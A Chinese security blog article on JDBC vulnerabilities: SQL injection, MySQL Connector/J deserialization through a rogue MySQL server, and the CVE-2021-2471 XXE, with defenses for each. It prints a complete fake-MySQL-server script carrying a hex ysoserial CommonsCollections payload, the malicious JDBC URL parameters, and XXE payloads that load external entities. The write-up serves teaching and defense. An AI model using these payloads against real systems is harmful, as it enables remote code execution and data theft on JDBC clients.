JDBC安全

admin 2022年4月16日01:57:52JDBC安全已关闭评论314 views字数 18067阅读60分13秒阅读模式

0x00 JDBC简介

JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。JDBC提供了一种基准,据此可以构建更高级的工具和接口,使数据库开发人员能够编写数据库应用程序。

与此同时,JDBC也会带来以下的安全隐患,做了些总结,限于水平,难免有欠缺,希望师傅们指出。

有关 sql注入、反序列化、XXE。


JDBC连接样例:

//1.注册数据库驱动
DriverManager.registerDriver(new Driver());
//2.获取数据库连接
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/day10", "root", "root");
//3.获取传输器对象
Statement stat = conn.createStatement();
//4.利用传输器传输sql语句到数据库中执行,获取结果集对象
ResultSet rs = stat.executeQuery("select * from user");
//5.遍历结果集获取查询结果
while(rs.next()){
String name = rs.getString("name");
System.out.println(name);
}
//6.关闭资源
rs.close();
stat.close();
conn.close();

0x01 JDBC sql注入

毕竟JDBC只是一种执行sql语句的Java API,所以他肯定也有sql注入的安全隐患。

// concat sql
Statement stmt = connection.createStatement();
String sql = "SELECT * FROM users WHERE id ='"+ id + "'";
ResultSet rs = stmt.executeQuery(sql);

假设有这么几个语句,executeQuery执行的sql语句中存在拼接,将id拼接到sql语句中,而id又可控,没有其他的过滤方法,那么sql注入风险就会存在。

其实就是普通的sql注入。

那么在JDBC中我们怎么保证安全?

使用参数化查询*parameterized queries* ),即 SQL 语句中使用参数绑定( ? 占位符 ) 和 <span class="ne-text">PreparedStatement</span>

<span class="ne-text">PreparedStatement</span>始终使用<span class="ne-text">?</span>作为占位符,并且把数据连同SQL本身传给数据库,这样可以保证每次传给数据库的SQL语句是相同的,只是占位符的数据不同,还能高效利用数据库本身对查询的缓存。

上面的语句我们可以这样写

// use ? to bind variables
String sql = "SELECT * FROM users WHERE id= ? ";
PreparedStatement ps = connection.prepareStatement(sql);
// 参数 index 从 1 开始,有几个参数绑定就写几个。
ps.setString(1, name);
ps.execute();

我们需要注意,并不是使用了prepareStatement就可以防止sql注入,防止sql注入是因为所有需要传入的参数都使用了占位符,保证数据与代码分离。

如果你在使用prepareStatement之前就拼接了sql语句,照样会导致注入。

当然,并不是所有情况都可以使用prepareStatement,比如order by、column name,不能使用参数绑定,此时需要手工过滤,如通常 order by 的字段名是有限的,因此可以使用白名单的方式来限制参数值。我们也可以全方位的进行字符转义,来防止注入。

0x02 Mysql JDBC 反序列化漏洞

需要准备:


8.x版本的mysql-connector-java依赖(不同版本的依赖,利用方式有所区别)


我用的是8.0.19,如果你用的版本不能顺利分析下来,可能版本不在影响范围之内,换一个版本。


影响范围(5.1.28 - 5.1.19,5.1.29 - 5.1.40,5.x <= 5.1.10,>=5.1.11,6.x,8.x)

JDBC安全

1. 漏洞原理

如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。


具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。


可被利用的两条查询语句:


  • SHOW SESSION STATUS
  • SHOW COLLATION

2. 漏洞分析

我们可以在IDEA的外部库中找到依赖。

JDBC安全

如果要是序列化的问题的话,那肯定少不了readObject。

作者在com.mysql.cj.jdbc.result.ResultSetImpl下的getObject(int columnIndex)函数中找到了readObject。

一共有两处readObject。

一处是case BIT,一处是case BLOB。

JDBC安全

JDBC安全

我们需要知道

```
BIT和BLOB都是MySQL里的一种数据格式

BLOB:是二进制形式的长文本数据,大小是0-65535 bytes

BIT:是用来存储bit值的,BIT(M)代表可以存储M个bit,M的取值范围为1到64 如果手工指定bit值,则可以使用b'value'格式,比如b'111'和 b'10000000'分别代表7和128。
```

我们可以看到

case BIT和case BLOB有一些差不多的判断逻辑

```
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob())

//获取连接属性的autoDeserialize是否为true
if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())

//判断数据是不是序列化后的对象,-84 -19其实就是AC ED (0xAC == 256 - 84, 0xED == 256 - 19),就是Java的序列化内容的魔术头
if ((data[0] == -84) && (data[1] == -19))

//满足了上述条件,就可以反序列化了。
```

接下来我们就是要找到个调用getobject的地方,我们把目光放在<span class="ne-text">com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()</span>中的<span class="ne-text">ResultSetUtil.resultSetToMap(toPopulate, rs);</span>

前面原理中提到了两条查询语句,在这里我们就可以看到它执行了其中一句<span class="ne-text">SHOW SESSION STATUS</span>

JDBC安全

执行<span class="ne-text">SHOW SESSION STATUS</span>后并处理其结果时,调用了getObject(),注意这里调用了两次。

JDBC安全

**于是我们要再找调用populateMapWithSessionStatusValues的地方,我们找到了`com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor****postProcess()****preProcess()**方法`

那我们怎么调用postProcess或者preProcess呢,这需要我们知道这个类的含义

public class ServerStatusDiffInterceptor implements QueryInterceptor

此类实现了QueryInterceptor

JDBC安全

所以<span class="ne-text">ServerStatusDiffInterceptor</span>是一个拦截器,在JDBC URL中设定属性queryInterceptors为<span class="ne-text">ServerStatusDiffInterceptor</span>时,执行查询语句会调用拦截器的preProcess和postProcess方法,进而通过上述调用链最终调用<span class="ne-text">getObject()</span>方法。

所以最终思路就是,执行查询语句,触发拦截器,执行preProcess,进入到populateMapWithSessionStatusValues,再执行<span class="ne-text">SHOW SESSION STATUS</span>,得到序列化的数据,进入getObject,反序列化。

我们攻击的地方就在于执行<span class="ne-text">SHOW SESSION STATUS</span>,这个过程得到的数据,是我们可以去控制的,从而导致反序列化了恶意类。

于是poc也得出来了,我们需要触发拦截器,在进入getObject的时候,需要通过一个判断

//poc
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

3. 漏洞利用

利用方式在分析过程中说到,代码执行了<span class="ne-text">SHOW SESSION STATUS</span>,并把拿到的数据,可以进行反序列化。

所以我们需要控制这个数据。

这有两个前提

1.可以控制JDBC连接设置项(即可以控制连接语句)


2.存在链子可以打

那我们怎么控制这个数据?

我们选择自建恶意Mysql,让代码执行的`SHOW SESSION STATUS是发送到我们的恶意Mysql服务器的,这也是为什么我们需要控制JDBC连接设置项。

怎么自建Mysql服务器,我在此不做分析。想了解的可以看看两个项目

我给出*Tri0mphe*师傅的一个py脚本。

```

-- coding:utf-8 --

@Time : 2020/7/27 2:10

@Author: Tri0mphe7

@File : server.py

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
    print("open false")
    #calc
    payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

主要逻辑

def run():

while 1:
    conn, addr = sk.accept()
    print("Connection come from {}:{}".format(addr[0],addr[1]))

    # 1.先发送第一个 问候报文
    send_data(conn,greeting_data)

    while True:
        # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
        receive_data(conn)
        send_data(conn,response_ok_data)

        #其他过程
        data=receive_data(conn)
        #查询一些配置信息,其中会发送自己的 版本号
        if "session.auto_increment_increment" in data:
            _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
            send_data(conn,_payload)
            data=receive_data(conn)
        elif "show warnings" in data:
            _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
            send_data(conn, _payload)
            data = receive_data(conn)
        if "set names" in data:
            send_data(conn, response_ok_data)
            data = receive_data(conn)
        if "set character_set_results" in data:
            send_data(conn, response_ok_data)
            data = receive_data(conn)
        if "show session status" in data:
            mysql_data = '0100000102'
            mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
            mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
            # 为什么我加了EOF Packet 就无法正常运行呢??
            //获取payload
            payload_content=get_payload_content()
            //计算payload长度
            payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
            payload_length_hex = payload_length[2:4] + payload_length[0:2]
            //计算数据包长度
            data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
            data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
            mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
            mysql_data += str(payload_content)
            mysql_data += '07000005fe000022000100'
            send_data(conn, mysql_data)
            data = receive_data(conn)
        if "show warnings" in data:
            payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
            send_data(conn, payload)
        break

if name == 'main':
HOST ='0.0.0.0'
PORT = 3309

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()

```

有了恶意服务器后,我们需要写个JDBCclient,用以触发拦截器。

```
public class JdbcClient {

public static void main(String[] args) throws Exception{
    String driver = "com.mysql.cj.jdbc.Driver";
    String DB_URL = "jdbc:mysql://xxxx:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用

    Class.forName(driver);
    Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}

}
```

然后我们根据目标程序存在的链子,用ysoserial生成payload。

比如,假设目标存在cc5链子,我们使用命令

java -jar .\ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc > payload

拿到payload之后,我们就可以把payload放在恶意mysql服务器同目录下,运行mysql服务器,再运行JDBCclient,就可以成功弹出calc。

下面找到一道相关的ctf题目,可用作学习复现。

4. [羊城杯 2020]A Piece Of Java

之前我写的wp

https://urdr-gungnir.github.io/ctf/CTF中的java题.html

5. 防御方案

  1. 黑名单检查(检查输入流,如果存在一些恶意类,则反序列化过程停止)
  2. 白名单过滤(JEP290、SerialKiller)
    允许对传入的对象序列化数据流进行过滤,以提高安全性
    定义可以由属性或配置文件配置的全局过滤器。
    在反序列化过程中将调用filter接口方法,以验证要反序列化的类。过滤器返回接受,拒绝或保留未确定,允许或禁止状态的状态。
  3. **运行时应用程序自我保护(RASP)

0x03 Mysql JDBC XXE(CVE-2021-2471)

提前说下,这种洞比较鸡肋。需要其他的比较苛刻的条件。

需要准备:


因为影响版本< MySQL JDBC 8.0.27,所以上面反序列化的环境也能复现。

1. 漏洞原理

getSource方法未对传入的XML格式数据进行检验。导致攻击者可构造恶意的XML数据引入外部实体。造成XXE攻击。

2. 前置知识

什么是SQLXML?

在开发的过程中,可能会需要在数据库中存储和检索<span class="ne-text">XML</span>文档,因此引入了SQLXML类型,SQLXML提供了 String、Reader、Writer 或
Stream 等多种形式访问XML值的方法。


我们可以通过ResultSet、CallableStatement 、PreparedStatement 中的<span class="ne-text">getSQLXML</span>方法获取SQLXML对象。


再使用SQLXML对象提供的xml解析器去解析xml。


下面要用到的createSQLXML也是获取SQLXML对象的方法。

3. 漏洞分析

漏洞发生在com.mysql.cj.jdbc.MysqlSQLXML下的getSource函数中

函数大概的逻辑如下:

```
public T getSource(Class clazz) throws SQLException {
checkClosed();
checkWorkingWithResult();

if (clazz == null || clazz.equals(SAXSource.class)) {

} else if (clazz.equals(DOMSource.class)) {

} else if (clazz.equals(StreamSource.class)) {

} else if (clazz.equals(StAXSource.class)) {

} else {
    throw SQLError.createSQLException(Messages.getString("MysqlSQLXML.2", new Object[] { clazz.toString() }),
            MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, this.exceptionInterceptor);
}

}
```

可以看的出来,是判断clazz类是书鱼哪一种Source源,则进入哪一个判断。

当传入类型为DOMSource时,则使用DocumentBuilder对数据进行解析处理。

JDBC安全

可以看到,domsource处理逻辑中,没有对inputsource进行一个过滤,这就是说,如果inputsource可控,那么将直接被直接解析xml内容。

那inputsource是当this.fromResultSet为flase的时候,被this.stringRep控制的。

这里的this.fromResultSet不出意外,基本上是false的状态


因为在构造函数的时候,就已经被初始化为false。

JDBC安全

而this.stringRep可以通过当前类的<span class="ne-text">setString</span>方法类设置<span class="ne-text">stringRep</span>的值。

JDBC安全

那我们如何触发它呢?

<span class="ne-text">createSQLXML</span>方法的作用就是返回一个<span class="ne-text">MysqlSQLXML</span>对象。

所以只要用createSQLXML返回个MysqlSQLXML对象,并最后调用getsource就可以最后解析xml。

```
//poc
import javax.xml.transform.dom.DOMSource;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.SQLXML;
public class main {
public static void main(String[] args) throws SQLException {
String poc = "<!DOCTYPE b [<!ENTITY xxe SYSTEM \"http://127.0.0.1:2333/poc.txt\">]>&xxe;";
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/", "root","root");
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);

}

}
```

分析一下

我们先用getConnection创建了一个jdbc连接,然后用createSQLXML返回了个MysqlSQLXML对象,然后我们要用的xxe的payload写入数据库,最后getSource读取,并解析。

这样看起来似乎挺好,但此poc需要靠开发人员写成这个,应该在真实环境中很难见到有setString参数可控的。

而现实中可能更多的是,类似于这种

```
package com.example.demo3;
import javax.xml.transform.dom.DOMSource;
import java.sql.*;

public class main {
public static void main(String[] args) throws SQLException {
Connection connection = DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/sys", "root","root");
Statement statement = connection.createStatement();
statement.execute("select * from test");
ResultSet resultSet = statement.getResultSet();
while (resultSet.next()) {
SQLXML sqlxml = resultSet.getSQLXML("message");
sqlxml.getSource(DOMSource.class);
}
}
}
```

使用getSQLXML获取数据库相应字段的数据后,返回一个MysqlSQLXML对象。

然后getSource调用,解析这些数据。

那么我们就需要先把恶意的payload写入数据库中,让程序getSQLXML拿出来,再解析。

所以这也是为什么很鸡肋的一个原因。

让我想起来一个图。

JDBC安全

虽然不是完全一样,但是这种思路也是如出一辙。。。。

4. 漏洞利用

虽然很鸡肋,但是我也稍微复现,让大家理解。

作者提供了漏洞环境。https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe

有了这个项目,我们在数据库中首先创建表

create table tb_test (
id bigint(20) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键id',
message text COMMENT 'SQLXML',
PRIMARY KEY (`id`)
);

然后模拟我们已经有了一个可以把恶意数据放进数据库的方法

insert into tb_test(message) values('<?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY % remote SYSTEM "http://127.0.0.1:80/xxe.dtd"> %remote; ]>');

起一个临时web服务,方便验证是否成功。

然后调用项目中的**OracleJDBC.java ,你可以看到此文件中的代码就是上面提供的常见写法。

JDBC安全

然后你就可以看到,你已经成功收到了来自目标服务器的请求。

JDBC安全

如果你想进行其他的利用,修改插入数据库的payload即可。

5. 防御方案

官方在更新中创建了<span class="ne-text">XmlReader</span>并进行了安全设置。

try {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
} catch (SAXException var7) {
sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
throw sqlEx;
}

0x04 参考链接

  • https://www.anquanke.com/post/id/237357
  • https://xz.aliyun.com/t/10427

  • By 狼组安全团队@Gungnir

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admin
  • 本文由 发表于 2022年4月16日01:57:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JDBC安全https://cn-sec.com/archives/916936.html